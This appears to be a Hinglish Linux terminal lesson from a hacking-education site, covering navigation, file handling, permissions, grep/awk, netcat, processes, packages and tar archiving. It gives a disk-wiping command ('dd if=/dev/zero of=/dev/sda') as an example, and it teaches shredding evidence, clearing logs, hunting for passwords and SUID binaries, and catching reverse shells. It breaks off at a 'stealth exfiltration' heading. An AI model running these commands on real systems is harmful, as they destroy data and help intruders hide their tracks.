CyberSeekh

The Language

Lesson 7: Linux Terminal Basics

Mouse feko, Keyboard uthao. Learn basic commands like ls, cd, and pwd.

Linux Terminal

Part 1: The Linux Philosophy - CLI vs GUI (The Ultimate Deep Dive)

Linux ko samajhna sirf commands ratna nahi hai, balki ek naye Computing Mindset ko apnana hai. Jab aap Windows use karte ho, toh aap ek "Guest" hote ho jise wahi dikhaya jata hai jo Microsoft chahta hai. Lekin Linux mein aap "God Mode" mein hote ho. Is section mein hum Linux ke core architecture, uski philosophy, aur kernel mechanics ko itni gehraai mein samjhenge ki aapko screen par chalne wale har ek character ka technical logic pata hoga.

1.1 The Genesis: Why Linux is the Hacker's Backbone

1991 mein Linus Torvalds ne jab Linux banaya, toh unka maqsad ek free aur open-source kernel dena tha. Ek hacker ke liye iska matlab hai Total Transparency. Windows ka source code secret hai, lekin Linux ka ek-ek line ka code aap padh sakte ho, modify kar sakte ho aur apna khud ka OS bana sakte ho (Jaise Offensive Security ne Debian ko modify karke **Kali Linux** banaya).


1.2 CLI vs GUI: The War of Resources & Control

Cybersecurity experts mouse ka use kyun nahi karte? Iske piche sirf "Cool" dikhna nahi, balki technical efficiency hai.

πŸ–₯️ Graphical User Interface (GUI)

- **Abstraction Layer:** GUI aapko asliyat se door rakhta hai. Jab aap file delete karte ho, toh piche kya process hui, ye aapse chhupaya jata hai.
- **Bloatware:** GUI ko chalane ke liye hazaron background processes chahiye jo RAM aur CPU consume karti hain. Ek server par GUI chalana resources ki barbaadi hai.
- **Non-Scriptable:** Aap GUI buttons ko automate nahi kar sakte.

⌨️ Command Line Interface (CLI)

- **Granular Control:** Aap system ke un hardware parts ko bhi control kar sakte ho jinke liye GUI mein koi button hi nahi hai.
- **Zero Overhead:** CLI sirf kuch KB RAM leta hai. Ye purane se purane computer ko supercomputer bana deta hai.
- **The Power of Pipes:** Ek command ka output dusri command mein bhej kar aap complex tasks ko ek line mein nipata sakte ho.


1.3 Linux Architecture: The Fortress Layers

Linux system 4 main layers mein banta hota hai. Is structure ko samajhna hacker ke liye system ki "anatomy" samajhne jaisa hai:

Linux Architecture Layers
  • 1. Hardware Layer: Sabse niche aapka physical computer hota hai (CPU, RAM, Hard Drive).
  • 2. The Kernel (The Brain): Ye OS ka dil hai. Iska kaam hai hardware aur software ke beech 'System Calls' ke zariye baat karwana. Kernel hi decide karta hai ki kaunsa program kitni memory lega.
  • 3. The Shell (The Translator): Jab aap ls type karte ho, toh Shell usse decode karta hai aur Kernel ko batata hai. Popular shells: **Bash** (Legacy) aur **Zsh** (Modern/Kali default).
  • 4. User Space: Yahan hamare terminal, browsers, aur hacking tools (Nmap, Metasploit) run hote hain.

1.4 Filesystem Hierarchy Standard (FHS)

Linux mein koi C: drive nahi hoti. Sab kuch ek tree structure mein hota hai jo Root (/) se shuru hota hai.

Linux File System Tree
# /etc : System Configuration
Yahan saari settings files hoti hain. /etc/shadow mein user passwords hote hain.

# /var/log : The Evidence Log
Har activity ka record yahan hota hai. Hacker yahan se apne footprints mitata hai.

# /root vs /home : Personal Spaces
/root administrator ka ghar hai, /home/user baaki normal users ka.

Part 1 Summary: The Foundation

  • Open Source: Linux ka code transparent hai, jo hacking ke liye best hai.
  • CLI Superiority: CLI speed, automation aur resources ke maamle mein GUI se behtar hai.
  • Everything is a File: Hardware ho ya network, Linux sabko file ki tarah treat karta hai.
  • Kernel: Hardware aur user apps ke beech ka bridge hai.
  • Hierarchy: Linux mein / (Root) hi sab kuch hai, koi alag drives nahi hoti.

1.5 Core Interaction Commands

Command Function Hacker Use-Case
uname -a System aur Kernel details dikhata hai. Kernel exploit dhoondhne ke liye version check karna.
echo $SHELL Bataiye aap kaunsa shell (Bash/Zsh) use kar rahe ho. Script compatibility check karna.
whoami Current logged-in user batata hai. Check karna ki kya humne 'Root' access pa liya hai.
history Purani saari commands ki list dikhata hai. Pichle admin ne kya commands chalayi thi wo dekhna.
clear Terminal screen saaf karta hai. Clutter saaf karke focus badhana.

πŸ›‘οΈ Part 1 - Reality Check

Apne terminal par ye perform karo:

  • uname -r chala kar dekho tumhare Linux ka kernel version kya hai.
  • ls /etc/passwd karke dekho kya tum system ke users ki list dekh paa rahe ho?
  • Ek command likho echo "Cyberseekh Mastery" aur dekho shell kaise translate karta hai.

Part 2: Navigation Mastery - The Science of Path Traversal

Linux mein folders ko Directories kaha jata hai, lekin ye sirf folders nahi hain; ye system ke 'Global Map' ke nodes hain. Jab aap Windows mein ek folder par double-click karte ho, toh aapko lagta hai ki aap "andar" ja rahe ho, lekin Linux terminal mein, aap system ke Tree Structure mein coordinates ke zariye travel karte ho. Is section mein hum Navigation ki aisi gehraai mein jayenge jahan se rasta bhatakna namumkin ho jayega.

2.1 Path Physics: Absolute vs Relative Coordinates

Linux mein kisi bhi file tak pahunchne ke do raaste hote hain. Inhe samajhna hi terminal mastery ki pehli sidhi hai.

Path Traversal Logic

πŸ—ΊοΈ Absolute Path (The Universal Address)

Absolute path hamesha Root (/) se shuru hota hai. Ye system ka "Full Address" hai jo kabhi nahi badalta, chahe aap kisi bhi directory mein khade hon.

Example: /home/kali/Desktop/tools/nmap_scan.txt

πŸ“ Relative Path (The Local Shortcut)

Relative path wahan se shuru hota hai jahan aap abhi (Current Working Directory) khade ho. Ye aapki current location ke reference mein kaam karta hai.

Example: Agar aap /home/kali mein ho, toh sirf cd Desktop likhna kafi hai.


2.2 PWD & The Hidden Reality of Directories

Jab aap terminal open karte ho, toh aap hamesha ek directory ke "context" mein hote ho. pwd (Print Working Directory) aapko batata hai ki aapka 'Current Context' kya hai.

# PWD sirf path nahi batata, ye logical location confirm karta hai
$ pwd
# Output: /var/www/html/cyberseekh

Hacker Insight: Hacking scripts likhte waqt hamesha pwd ka use karke paths ko verify karna chahiye taaki galti se system files delete na ho jayein.


2.3 LS Deep Dive: The X-Ray Vision

ls (List) command sirf files ke naam dekhne ke liye nahi hai. Ye file system ka X-Ray hai jo "Flags" ke zariye system ki secrets batata hai.

# 1. Long Listing (-l): Permissions, Owner, aur Size ek saath.
ls -l

# 2. Show Hidden Files (-a): '.' se shuru hone wali hidden files dikhata hai.
ls -a

# 3. Human Readable (-h): Size ko KB, MB, GB mein dikhata hai.
ls -lh

2.4 CD: The Art of Teleportation

cd (Change Directory) command terminal par move karne ka rasta hai. Isme kuch shortcuts hackers ki speed 10x badha dete hain.

  • cd .. : Ek step piche (Parent directory) jana.
  • cd ~ : Seedha apne Home directory mein wapas ana.
  • cd - : Pichle jis folder mein the, wahin wapas jana (Undo jump).

2.5 Advanced Navigation: Inodes & Wildcards

Linux files ko unke naam se nahi, balki unke Inode number se pehchanta hai. Saath hi, hazaron files ko filter karne ke liye hum Wildcards ka use karte hain.

# Wildcard '*' ka matlab hai "Sab kuch"
ls *.txt
# Sirf .txt files dikhao

Part 2 Summary: Navigation Mastery

  • Paths: Absolute path root / se shuru hota hai, Relative current location se.
  • Verification: pwd ka use location confirm karne ke liye karein.
  • Visibility: ls -a se hidden hacking tools dhoondhe ja sakte hain.
  • Speed: cd - aur cd ~ shortcuts navigation ko fast banate hain.
  • Logic: Linux system Inode numbers par chalta hai, na ki sirf file names par.

2.6 Quick Reference: Navigation Commands

Command Function Hacker Example
pwd Current directory path dikhana. Location verify karna script chalane se pehle.
ls -lah Hidden files aur details (Human Readable) dikhana. Malware aur config files ki deep inspection.
cd .. Parent directory mein jana. Folder hierarchy mein piche move karna.
cd - Pichle folder mein wapas jana. Do directories ke beech fast jump karna.
ls -i File ka Inode number dikhana. File linking aur duplicates check karna.

πŸ›‘οΈ Part 2 - Navigation Reality Check

Sirf padhne se kuch nahi hoga, terminal kholo aur ye 5 tasks karke dikhao:

  • Task 1: The Hidden Hunt
    Apne Home directory mein jao aur ls -a chalao. Kya tumhe .bashrc ya .zshrc dikh rahi hai? Ye tumhari shell ki sabse important config file hai.
  • Task 2: Absolute vs Relative Challenge
    Pehle cd /etc/network (Absolute) karke wahan jao. Phir wahan se cd ../ssh (Relative) karke SSH folder mein jao. Check karo pwd se tum sahi jagah ho ya nahi.
  • Task 3: The Inode Audit
    Kisi bhi file ka Inode number check karo: ls -i filename. Linux isi number se file ko track karta hai, naam se nahi!
  • Task 4: Wildcard Magic
    /bin folder mein jao aur dekho kitni commands 'z' se shuru hoti hain: ls /bin/z*.
  • Task 5: The Teleport Back
    Ek lambe path par jao (jaise /var/log/apache2), phir cd ~ karke home aao, aur phir cd - dabao. Dekho kaise tum ek second mein wapas usi lambe path par pahunch gaye.

Agar tumne ye saare tasks kar liye, toh samajh lo tum Linux Navigation ke Driver ban chuke ho! πŸš€


Part 3: File Surgery - Creation, Manipulation & Data Destruction

Linux mein files sirf data store karne ka zariya nahi hain, balki ye system ke atoms hain. Ek hacker ke liye file manipulation "Surgical" honi chahiye. Aapko pata hona chahiye ki file kaise banti hai, uska metadata (stat) kya kehta hai, aur sabse zarooriβ€”usse aise kaise delete karein ki forensics team bhi usse recover na kar sake. Is section mein hum files ke sath 'Operation' karna seekhenge.

3.1 The Art of Creation: Beyond the 'touch' Command

Zyadatar log sirf touch jante hain, lekin ek pro-hacker ke paas file banane ke kai advanced tarike hote hain, har ek ka apna logic hota hai.

# 1. Touch: Sirf timestamp update karne ya khali file banane ke liye.
touch exploit.py

# 2. Echo & Redirection: File banana aur turant data dalna.
echo "print('Hacked')" > script.py

# 3. Cat Redirection: Bina editor khole multiple lines likhna.
cat config.txt
Host: 127.0.0.1
Port: 8080
EOF

# 4. Fallocate: Ek specific size ki "Dummy" file banana (e.g. 1GB).
fallocate -l 1G giant_file.img

3.2 Manipulation: Moving, Copying & Renaming Mechanics

Jab aap cp ya mv use karte ho, toh piche Linux ke **Inodes** aur **Data Blocks** move hote hain. Isse samajhna zaroori hai taaki aap bade data sets ko efficiently handle kar sakein.

πŸ“‹ cp (Copying Power)

Files ki duplicate banana.
β€’ cp -p: Permissions aur Timestamps ko preserve karta hai (Forensics ke liye zaroori).
β€’ cp -r: Poore folder ko copy karta hai.

🚚 mv (Moving & Renaming)

Linux mein 'Rename' ke liye alag command nahi hai. mv hi renaming ka kaam karta hai.
β€’ Agar destination same folder hai -> Rename.
β€’ Agar destination alag folder hai -> Move.


3.3 Data Destruction: Shredding & The 'rm' Myth

Kya aapko pata hai rm file ko permanent delete nahi karta? Wo sirf Inode table se uska link hatata hai, data abhi bhi disk par hota hai jise recover kiya ja sakta hai. Ek hacker ko "Anti-Forensics" aani chahiye.

Hacker Technique: Shredding
Agar aap chahte ho ki data recover na ho, toh shred command use karein. Ye file ke upar baar-baar random 0s aur 1s likhta hai.

shred -u -n 10 secret.txt
(-u = delete after shredding, -n 10 = 10 baar overwrite karna).

3.4 Advanced Tools: dd, ln, & split

Ye wo tools hain jo ek normal user ko dara dete hain, lekin ek professional hacker ke liye ye "Gold" hain.

  • dd (The Disk Destroyer): Ye block-level par data copy karta hai. Ise poori Hard Drive ka clone banane ya "Bootable USB" banane ke liye use kiya jata hai.
  • ln (Linking):
    - **Soft Link (Symbolic):** Shortcut ki tarah (ln -s).
    - **Hard Link:** Ek hi file ke do alag naam (Inode same rehta hai).
  • Hard link vs Soft link logic
  • split: Ek bahut badi file (jaise 10GB log file) ko chote-chote hisson mein todne ke liye.
  • stat: File ki poori kundali nikalna (Birth time, Modification time, Access time).
  • Linux Stat Command Metadata
# DD Example: Poore partition ka backup lena
sudo dd if=/dev/sda1 of=backup.img status=progress

3.5 Summary & Conclusion: File Mastery

File Surgery ka maksad hai system ke data par absolute control pana. Humne dekha ki file banane ke kai raste hain, par forensics se bachne ke liye deletion sahi tarike se karna chahiye. Advanced tools jaise dd aur stat aapko system ke deeper layers tak le jate hain.

Part 3 Summary

  • Creation: touch sirf khali file ke liye hai, echo aur cat se data inject kiya jata hai.
  • Manipulation: mv rename aur move dono karta hai, cp -p meta-data bachane ke liye use hota hai.
  • Destruction: rm se data recover ho sakta hai, shred hi permanent solution hai.
  • Metadata: stat command se file ki history aur access details milti hain.
  • Block Copy: dd ka use disk imaging aur hardware level data transfer ke liye hota hai.

3.6 Quick Reference: File Surgery Commands

Command Function Hacker Example
touch Khali file banana / Timestamp update. touch .hidden_log
cp -r Recursive Copy (Folder copy). cp -r /etc/backup /tmp/
mv Move aur Rename karna. mv tool.exe /bin/newtool
shred File ko recover na hone layak delete karna. shred -u evidence.log
ln -s Symbolic Link (Shortcut) banana. ln -s /etc/shadow link
dd Data Duplicator (Disk Clone). dd if=/dev/zero of=/dev/sda
split Badi file ko tukdon mein bantna. split -b 100M dump.sql

πŸ”§ File Surgery Challenge

  1. Ek 1MB ki file banao fallocate ka use karke.
  2. Us file ka full metadata dekho stat command se aur note karo 'Access time'.
  3. Us file ka ek Hard Link banao aur check karo kya dono ka Inode number same hai?
  4. Aakhir mein shred command se usse delete karo.

Part 4: The Ultimate Guide to Linux Permissions, Sudo & System Hierarchy

Linux ek "Identity-Based" multi-user environment hai. Yahan security ka sabse bada pahiya Permissions hai. Ek professional hacker ya system admin ke liye permissions sirf 'rwx' nahi hain; ye system ki "Cellular Structure" hain. Bina permission ke aap ek byte data bhi touch nahi kar sakte. Is section mein hum seekhenge ki kaise Linux "Permissions DNA" ko handle karta hai aur kaise aap administrative supremacy (Root) hasil kar sakte hain.

4.1 The DNA of Permissions: rwx Breakdown (Deep Dive)

Jab aap terminal par ls -l command chalate hain, toh aapko pehle 10 characters ka ek string dikhta hai, jaise: -rwxr-xr--. Is string ka har ek character ek scientific meaning hold karta hai.

Linux Permissions Structure

πŸ‘€ User/Owner (u)

Jisne file banayi hai. By default, owner ke paas pure control hota hai. Linux mein file ownership system ki stability ke liye zaroori hai.

πŸ‘₯ Group (g)

Ek department ya team. Maano 'HR' group ki saari files sirf HR members hi dekh sakte hain. Ye collaboration ke liye use hota hai.

🌍 Others (o)

Poori duniya (World). Jo log na toh owner hain aur na hi us group ka hissa hain, wo 'Others' category mein aate hain.

The Three Powers: r, w, x

  • r (Read):
    - File par: Content padhne ki power.
    - Directory par: ls karke files ki list dekhne ki power.
  • w (Write):
    - File par: Content change/delete karne ki power.
    - Directory par: Nayi files banane ya purani delete karne ki power.
  • x (Execute):
    - File par: Script ya binary program ko run karne ki power.
    - Directory par: cd karke uske andar ghusne ki power (Traverse).

4.2 Octal Logic: The Binary Power (Numeric Method)

Linux permissions ko numbers ke zariye bhi manage kiya jata hai. Isse "Octal Representation" kehte hain. Har permission ka ek binary value hota hai jo total hokar ek digit banta hai.

Permission Binary Symbol Value
Read (r) 4 (100 in binary) 4
Write (w) 2 (010 in binary) 2
Execute (x) 1 (001 in binary) 1
No Permission - 0
Calculations Examples:
β€’ rwx (4+2+1) = 7 (Full Access)
β€’ rw- (4+2+0) = 6 (Read & Write)
β€’ r-x (4+0+1) = 5 (Read & Execute)
β€’ r-- (4+0+0) = 4 (Read Only)

Pro Case Study: 755 vs 644

Agar aapne chmod 755 script.sh kiya: Owner sab kar sakta hai (7), Group aur World sirf padh aur run kar sakte hain (5).
Agar aapne chmod 644 config.txt kiya: Owner padh-likh sakta hai (6), baaki sirf padh sakte hain (4).


4.3 Special Bits: SUID, SGID & Sticky Bit (Hacker's Playground)

Normal 'rwx' ke upar teen special permissions hoti hain jo system security mein "Magic" ya "Disaster" la sakti hain. Professional hackers hamesha inke liye system ko audit karte hain.

πŸ‘‘ SUID (Set User ID) - Octal 4000

Jab kisi file par SUID set hota hai, toh wo File Owner ki privileges ke saath run hoti hai, chahe use 'Guest' user hi kyun na chala raha ho.
Code: chmod u+s /path/to/file
Risk: Agar kisi root file par SUID hai, toh normal user root ban sakta hai!

πŸ›‘οΈ SGID (Set Group ID) - Octal 2000

Ye SUID jaisa hi hai, par ye Group ki power use karta hai. Directory par set hone par ye ensure karta hai ki nayi files same group inherit karein.

πŸ“Œ Sticky Bit - Octal 1000

Ye zyadatar shared folders (jaise /tmp) par hota hai. Iska matlab hai ki koi bhi file bana sakta hai, par delete sirf wahi kar sakta hai jisne banayi ho.
Code: chmod +t /shared_folder


4.4 SUDO, Root & The Shadow World

Linux mein Root (UID 0) bhagwan hai. Wo kisi bhi file ko padh sakta hai, delete kar sakta hai, aur kernel ko modify kar sakta hai. sudo (SuperUser DO) ek "Proxy Power" hai jo aapse password mangti hai aur temporary root access deti hai.

# Check karo tumhari 'sudo' taqat kya hai
sudo -l

# Bina password ke root banne ka shortcut (agar configured ho)
sudo su -

# System ki sabse sensitive file: /etc/shadow
sudo cat /etc/shadow | head -n 5
# Yahan encrypted user passwords hote hain. Sirf root hi ise dekh sakta hai.

4.5 Umask: The Default Guard

Kya aapne kabhi socha hai ki jab aap touch se file banate ho, toh use by-default 644 permission hi kyun milti hai? Ye umask (User Mask) ki wajah se hota hai.

Umask permission ko "Subtract" karta hai. Agar default file permission 666 hai aur umask 022 hai, toh nayi file 644 hogi (666 - 022 = 644).

# Current umask check karna
umask
# Temporary umask badalna (Zyada secure banane ke liye)
umask 077
# Ab har nayi file sirf aap padh payenge (600).

Part 4 Summary: Access Control Mastery

  • Identity Triad: Permissions hamesha User, Group aur Others (u, g, o) mein divide hoti hain.
  • Octal Math: Read(4), Write(2), aur Execute(1) ke binary combinations se permission digits (0-7) bante hain.
  • Ownership Physics: chown user badalne ke liye aur chgrp group badalne ke liye use hota hai.
  • Sudo Supremacy: sudo administrative tasks ke liye "God Mode" (Root) access temporary basis par udhaar deta hai.
  • Hacker Focus: SUID bits aur insecure 777 permissions privilege escalation ke liye sabse bade attack vectors hain.
  • Umask: Ye decide karta hai ki nayi banne wali files ki default permissions kya hongi.

4.6 Professional Reference: Permission Commands Table

Command Deep Function Real-World Example
chmod 700 Sab kuch lock karna, sirf owner ke liye. chmod 700 ~/.ssh (Secure keys)
chmod +x Binary ya script ko 'Run' mode mein lana. chmod +x exploit.py
chown -R Folder aur uske andar ka sab kuch owner badalna. sudo chown -R kali:kali /var/www
sudo -u Kisi doosre user ke naam se command chalana. sudo -u apache touch log.txt
getfacl Advanced Access Control List (ACL) dekhna. Multi-user permissions audit karna.
lsattr Immutable (jo delete na ho sake) files check karna. Anti-rootkit auditing.

πŸ‘‘ Part 4 - The Master Reality Check

Agar tumne ye 5 practical challenges solve kar liye, toh tum Linux Permissions ke "Shehanshah" ho:

  • Challenge 1: The Locksmith
    Ek directory banao Private, usme ek file rakho secret.txt. Permissions aisi set karo ki tum (owner) padh-likh sako, par koi doosra (Others/Group) us folder mein cd bhi na kar sake.
  • Challenge 2: SUID Hunter
    Poore system mein wo files dhoondho jinpar SUID set hai aur owner root hai: find / -perm -4000 -user root 2>/dev/null. List check karo, kya koi suspicious file dikhi?
  • Challenge 3: The Umask Wizard
    Apna umask 000 karo aur ek file banao. Phir 077 karo aur doosri file banao. Dono ki permissions ls -l se compare karo.
  • Challenge 4: Identity Crisis
    whoami chalao. Phir sudo -i chalao aur dobara whoami chalao. Prompt ka rang aur symbol ($ vs #) notice karo.
  • Challenge 5: The Immutable File
    Ek file banao, root se chattr +i filename chalao. Ab use rm -rf se delete karne ki koshish karo. Dekho kya hota hai! (Hint: Ise hataane ke liye -i flag hatana hoga).

Practice makes a Hacker perfect. Keyboard uthao aur aag laga do! πŸš€


Part 5: Data Surveillance & Networking (The Hacker's Eye)

Jab aap kisi system ko hack karte hain ya admin bante hain, toh asli chunauti data ki quantity hoti hai. Hazaron log files aur lakho lines ke beech se "Password" ya "API Key" dhoondhna ek kala hai. Ise Data Surveillance kehte hain. Saath hi, terminal se networking ko control karna hacker ki pehli priority hoti hai. Is section mein hum seekhenge ki kaise Linux terminal ko ek power-tool ki tarah use karke data aur network par kabza kiya jata hai.

5.1 Grep Mastery: Searching Through the Haystack

grep (Global Regular Expression Print) Linux ka sabse khatarnak search engine hai. Ye sirf text nahi dhoondhta, ye "Patterns" ko pakadta hai.

# 1. Basic Search: File mein 'password' dhoondhna
grep "password" config.php

# 2. Case-Insensitive (-i): 'Admin' ya 'admin' dono ko scan karega
grep -i "admin" users.txt

# 3. Recursive Search (-r): Poore folder aur sub-folders ke andar ghus kar dhoondhna
grep -r "API_KEY" /var/www/html/

# 4. Line Numbers (-n): Word dhoondho aur uska line number bhi batao
grep -n "root" /etc/passwd

# 5. Invert Match (-v): Wo saari lines dikhao jinme 'test' word NAHI hai
grep -v "test" server.log

5.2 Stream Manipulation: Sed & Awk (The Data Surgeons)

Jab data itna bada ho ki use manually edit na kiya ja sake, tab hum sed (Stream Editor) aur awk (Text Processor) ka use karte hain.

βœ‚οΈ sed (Find & Replace)

Bina file khole uske andar ke text ko replace karna.
Code: sed -i 's/old-ip/new-ip/g' settings.conf
Yahan 's' ka matlab substitute aur 'g' ka matlab global hai.

πŸ“Š awk (Column Expert)

Specific columns ko extract karne ke liye.
Code: awk -F':' '{ print $1 }' /etc/passwd
Ye command system ke saare usernames ki list nikal degi.


5.3 Pipes (|) & Redirection: Chaining the Chaos

Linux terminal ki asli taqat **Pipes** mein hai. Iska matlab hai ek command ka output dusre ka input banna. Ise "Command Chaining" kehte hain.

Linux Pipes and Redirection Flow
Hacker Scenario: Active Connection Scan
netstat -tuln | grep "LISTEN"
Iska matlab: "Pehle saare network ports dikhao, fir unme se sirf wo filter karo jo abhi open (LISTEN) hain."

Redirection Logic (>, >>, 2>)

  • Overwrite (>): Purana data uda kar naya likhna.
    ls > files.txt
  • Append (>>): Purane data ke niche naya add karna.
    echo "New Login" >> access.log
  • Error Redirection (2>): Command ke errors ko file mein save karna.
    bad_command 2> errors.log

5.4 Networking Mastery: Terminal Connectivity

Terminal se network ko troubleshoot karna aur targets ko scan karna hacker ka basic skill hai.

🌐 ip addr

Aapki machine ka IP address aur network status. Isse interface (eth0/wlan0) ki jankari milti hai.

πŸ“‘ ping & traceroute

ping connectivity check karta hai. traceroute batata hai ki aapka data kitne routers se hokar target tak pahuncha.

🌍 curl & wget

curl website ka source code ya API data terminal par dikhata hai. wget seedha files download karne ke liye hai.


5.5 Netcat (nc): The Swiss Army Knife

Netcat hacker ka sabse pasandida networking tool hai. Ye connection banane, port scanning karne, aur file transfer karne ke kaam aata hai.

# Target ka port scan karna
nc -zv 192.168.1.1 20-80

# Ek simple chat server banana (Listening mode)
nc -lvp 4444

Part 5 Summary: Surveillance & Networking

  • Grep: Hazaron files mein se patterns (passwords/keys) dhoondhne ka master tool hai.
  • Stream Editing: sed aur awk ka use karke aap data ko surgical level par edit aur filter kar sakte hain.
  • Redirection: Terminal output ko files mein save karne ke liye > aur >> ka logic use hota hai.
  • Networking: ip addr aur ping connectivity verify karne ke liye basic hain.
  • Efficiency: history command se purani commands ko quickly search kiya ja sakta hai.

5.6 Quick Reference: Surveillance & Networking Commands

Command Function Hacker Example
grep -r Recursive search folder ke andar. grep -r "db_password" /var/www
awk -F':' Specific column filter karna. awk -F':' '{print $1}' /etc/passwd
ip addr IP address check karna. Apna local network IP dhoondhna.
nc -lvp Listen on a specific port. Reverse shell receive karne ke liye.
curl -I Website ke HTTP headers dekhna. Server version aur tech stack check karna.

πŸ“‘ Part 5 - Surveillance Reality Check

In 5 tasks se apni "Hacker's Eye" test karo:

  • Task 1: The Keyword Hunter
    /etc folder ke andar wo saari files dhoondho jinme 'root' word likha hai: grep -r "root" /etc 2>/dev/null.
  • Task 2: User Extraction
    /etc/passwd file se sirf usernames nikal kar ek nayi file users_list.txt mein save karo (Hint: Use awk and >).
  • Task 3: Live Connection Audit
    Apni machine par kaun-kaun se ports 'LISTEN' mode mein hain unhe dhoondho: netstat -antup | grep LISTEN.
  • Task 4: Web Header Scan
    google.com ke server headers fetch karo: curl -I https://google.com.
  • Task 5: The Command History
    Apni purani commands mein 'chmod' dhoondho: history | grep "chmod".

Part 6: System Control & Package Mastery (The Engine Room)

Linux mein har chalne wala program ek Process hota hai. Agar terminal system ka chehra hai, toh processes uski dhadkan hain. Ek hacker ya pro-admin ko ye pata hona chahiye ki background mein kaunse 'Hidden' processes chal rahe hain, unhe control kaise karna hai, aur naye hacking tools ko "Cleanly" kaise install karna hai. Is section mein hum Linux ke engine room mein ghus kar uske internal mechanism ko control karna seekhenge.

6.1 Process Management: The Life and Death of Tasks

Jab aap koi command chalate hain, Linux use ek PID (Process ID) assign karta hai. In processes ko monitor aur manage karna system stability aur security audit ke liye sabse zaroori skill hai.

πŸ“Š top & htop (Live Pulse)

System ka live task manager. Ye real-time mein CPU, RAM usage aur chal rahi processes dikhata hai.
Hacker Tip: Suspicious CPU spikes check karne ke liye htop use karein.

πŸ” ps aux (Deep Snapshot)

System ki har ek chalti hui process ki detailed static list.
Code: ps aux | grep "python"
Ye sirf python se chalne wale tools (jaise exploits) dhoondhne ke liye best hai.

Signals: The Art of Killing Processes

Linux Kill Signals Explained

Processes ko band karne ke liye Linux Signals ka use karta hai. Sabse powerful signal hai SIGKILL (9).

# 1. Soft Kill: Program ko izzat se band hone ka mauka dena
kill 1234

# 2. Hard Kill (-9): Program ko turant aur forcefuly khatam karna
kill -9 1234

# 3. Killall: Naam se saari processes band karna
killall firefox

6.2 Systemd & Service Control (The Automation Hub)

Modern Linux systems systemd ka use karte hain background services ko manage karne ke liye. Hacking ke waqt aapko Apache, SSH, ya Database services ko on/off karna padta hai.

# Service ka status dekhna (Kya ye chal rahi hai?)
sudo systemctl status ssh

# Service ko Start/Stop karna
sudo systemctl start apache2
sudo systemctl stop apache2

# Persistence Setup: Boot hote hi service apne aap chale
sudo systemctl enable postgresql

6.3 Package Mastery: The APT Ecosystem

Debian-based systems (Kali, Ubuntu) mein apt (Advanced Package Tool) ka use hota hai. Package management sirf 'install' karna nahi, balki system ki "Dependency Hell" se bachana hai.

The Repository Logic:
Linux apps 'Repositories' se aate hain. Jab aap apt update karte hain, toh system sirf list download karta hai, softwares nahi.
# 1. Update: Nayi lists fetch karna
sudo apt update

# 2. Upgrade: Purane softwares ko naya banana
sudo apt upgrade

# 3. Install: Naya tool system mein jodna
sudo apt install nmap -y

# 4. Search: Pata lagana ki koi tool repo mein hai ya nahi
apt search exploitdb

6.4 Hardware & Kernel Enumeration (Inside the Engine)

Hacker ko machine ki haddiyan (hardware) aur dimaag (kernel) ki puri jankari honi chahiye.

🧠 uname -a

Kernel version aur architecture batata hai. Hacker isi se dhoondhte hain ki kya system 'Dirty Pipe' ya 'Dirty COW' jaise exploits ke liye vulnerable hai.

πŸ“Š free -h

RAM usage ko human-readable format mein dikhata hai.

πŸ’Ύ lsblk

Hard drive ke partitions aur mounted devices ki list.


Part 6 Summary: The Engine Room

  • Processes: Har program ki ek PID hoti hai jise top ya ps se monitor kiya jata hai.
  • Control: kill -9 kisi bhi process ko turant khatam karne ka forceful tarika hai.
  • Services: systemctl background tasks ko start/stop aur enable karne ke liye use hota hai.
  • Packages: apt ke zariye tools install aur update kiye jate hain.
  • Hardware: lscpu, free, aur lsblk se system ki physical capabilities pata chalti hain.
  • Kernel: uname -a enumeration aur exploit research ka pehla step hai.

6.5 Quick Reference: System & Package Commands

Command Function Hacker Example
htop Live system resources monitor karna. Resource hungry malware dhoondhna.
kill -9 [PID] Process ko forcefully band karna. Stuck reverse shell ya script ko kill karna.
systemctl enable Service ko boot par auto-start karna. Hacking lab services ko persistent banana.
apt install -y Bina confirmation ke tool install karna. Fast environment setup.
uname -a OS aur Kernel version details. Local privilege escalation research.

βš™οΈ Part 6 - Engine Room Reality Check

In 5 tasks se system control master karo:

  • Task 1: The Process Hunter
    htop chalao (agar nahi hai toh install karo) aur dekho kaunsi process sabse zyada RAM le rahi hai.
  • Task 2: Service Persistence
    Apache ya SSH service ko enable karke reboot karo aur check karo kya wo apne aap start hui.
  • Task 3: Kernel Enumeration
    uname -a karke apne kernel ka version dhoondho aur Google par check karo kya isme koi purana exploit hai.
  • Task 4: RAM Inspection
    free -m chala kar dekho kitni RAM 'Buffer/Cache' mein use ho rahi hai.
  • Task 5: Forceful Kill
    Ek dummy command chalao (jaise sleep 1000 &), uska PID dhoondho aur kill -9 se use khatam karo.

Part 7: Archiving, Compression aur Stealth Exfiltration (The Hacker's Suitcase)

Ethical Hacking ke "Post-Exploitation" phase mein, sabse bada challenge hota hai data ko target machine se nikalna. Maano tumne kisi server ka access paa liya aur wahan 50GB ka sensitive data hai. Tum har file ko manually download nahi kar sakte kyunki isse network security alarms (IDS/IPS) baj jayenge. Iske liye humein **Data Archiving aur Compression** ki surgical knowledge honi chahiye taaki hum data ko pack karein, uska size chhota karein, aur use "Stealthily" apne system par transfer karein.

7.1 Tar Deep Dive: Beyond Basic Bundling

tar (Tape Archiver) Linux ka sabse purana aur bharosemand tool hai. Ye hazaron files ko ek single .tar bundle mein convert kar deta hai. Hacker ke liye iska sabse bada fayda ye hai ki ye files ki Permissions (rwx) aur Ownership ko preserve karke rakhta hai.

# 1. Advanced Creation: Files ko exclude karte huye archive banana
tar --exclude='*.log' -cvf backup.tar /var/www/html
# Isse saari files pack hongi par .log files chhoot jayengi taaki size chhota rahe.

# 2. Append Mode: Pehle se bane archive mein naya data jodna
tar -rvf backup.tar new_evidence.txt

# 3. Wildcard Extraction: Sirf specific files nikalna
tar -xvf backup.tar --wildcards '*.pdf'

7.2 Compression Physics: The Size War

Compression sirf space bachane ke liye nahi, balki data transfer speed badhane ke liye bhi hai. Linux mein teen main algorithms hain, har ek ka apna hacking context hai:

πŸ“¦ Gzip (.tar.gz)

Speed: Fast | Ratio: Medium
Ye standard hai. Jab network speed achhi ho toh ise use karein.
tar -czvf data.tar.gz /folder

πŸ—œοΈ Bzip2 (.tar.bz2)

Speed: Slow | Ratio: High
Jab files bahut badi hon aur space kam ho.
tar -cjvf data.tar.bz2 /folder

⚑ XZ (.tar.xz)

Speed: Very Slow | Ratio: Ultimate
Hacker's secret weapon. Ye file ko sabse zyada nichod deta hai.
tar -cJvf data.tar.xz /folder


7.3 Secure Data Exfiltration: Moving the Goods

